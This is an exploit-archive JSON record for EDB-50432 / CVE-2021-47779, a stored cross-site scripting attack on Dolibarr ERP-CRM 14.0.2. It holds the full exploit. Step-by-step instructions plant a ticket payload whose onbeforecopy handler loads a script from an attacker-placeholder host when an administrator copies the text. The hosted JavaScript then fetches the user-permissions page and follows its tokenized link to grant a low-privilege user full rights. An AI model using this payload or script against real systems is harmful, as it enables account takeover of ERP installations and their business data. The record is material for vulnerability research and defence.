{"exploit":{"id":"EDB-50432","name":"Dolibarr ERP-CRM 14.0.2 - 'message' Authenticated Stored Cross-Site Scripting (XSS) / Privilege Escalation","description":"Dolibarr ERP-CRM 14.0.2 - 'message' Authenticated Stored Cross-Site Scripting (XSS) / Privilege Escalation","cves":["CVE-2021-47779"],"author":"Oscar Gil Gutierrez","published":"2021-10-20","platform":"php","type":"webapps","language":"JavaScript","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/50432","path":"exploits/php/webapps/50432.js","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-50432.js","vulnerabilities":[{"id":"CVE-2021-47779","state":"PUBLISHED","title":"Dolibarr ERP-CRM 14.0.2 - Stored Cross-Site Scripting (XSS) / Privilege Escalation","titleSource":"CVE Program","description":"Dolibarr ERP-CRM 14.0.2 contains a stored cross-site scripting vulnerability in the ticket creation module that allows low-privilege users to inject malicious scripts. Attackers can craft a specially designed ticket message with embedded JavaScript that triggers when an administrator copies the text, potentially enabling privilege escalation.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-47779","cvss":{"version":"4.0","baseScore":8.4,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2021-47779"},"updatedAt":"2026-10-01T15:19:40.150Z","retrievedAt":"2026-11-25T23:09:40.323Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-50432.png?v=2","url":"https://exploitbin.com/exploits/EDB-50432","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-50432/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-50432/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Dolibarr ERP-CRM 14.0.2 - Stored Cross-Site Scripting (XSS) / Privilege Escalation\n# Exploit Author: Oscar Gutierrez (m4xp0w3r)\n# Date: 18/10/2021\n# Vendor Homepage: https://www.dolibarr.org/\n# Software Link: https://github.com/Dolibarr\n# Tested on: Ubuntu, LAAMP\n# Vendor: Dolibarr\n# Version: v14.0.2\n\n# Exploit Description:\n# Dolibarr ERP & CRM v14.0.2 suffers from a stored XSS vulnerability in the ticket creation flow that allows a low level user (with full access to the Tickets module) to achieve full permissions. For this attack vector to work, an administrator user needs to copy the text in the \"message\" box.\n# Instructions:\n#1. Insert this payload in the message box when creating a ticket: \"><span onbeforecopy=\"let pwned = document.createElement('script'); pwned.setAttribute('src', 'http://YOURIPGOESHERE/hax.js'); document.body.appendChild(pwned);\" contenteditable>test</span>\n#\n#2. Host this file (Change the extension of the file to js and remove comments) in a remote http location of your preference.\n#NOTE: The user id in /dolibarr/htdocs/user/perms.php?id=2 may vary depending on the installation so you might have to change this. In my case, I had only 2 users, user 2 being the low level user.\n#\n#3.Once an administrator user copies the text within the ticket the attack will launch.\n\nfunction read_body(xhr) {\n\n    var data = xhr.responseXML;\n    var tokenizedUrl = data.getElementsByClassName(\"reposition commonlink\")[0].href;\n    console.log(tokenizedUrl);\n    return tokenizedUrl;\n\n}\n\nfunction escalatePrivs() {\n    var url = read_body(xhr);\n    var http = new XMLHttpRequest();\n    http.open('GET', url);\n    http.onreadystatechange = function() {\n            if (this.readyState  === XMLHttpRequest.DONE && this.status === 200) {\n                    return;\n            }\n    };\n    http.send(null);\n}\n\nvar xhr = new XMLHttpRequest();\nxhr.onreadystatechange = function() {\n    if (xhr.readyState == XMLHttpRequest.DONE) {\n            read_body(xhr);\n            escalatePrivs(xhr);\n    }\n}\nxhr.open('GET', '/dolibarr/htdocs/user/perms.php?id=2', true);","sha256":"2bc445f8173b111e9948c59e7c470830c7ce48bb8b59b195f22063891abb8f69","bytes":2100,"fetchedAt":"2026-11-26T22:10:25.416Z","encoding":"utf-8 (display only; download retains original bytes)"}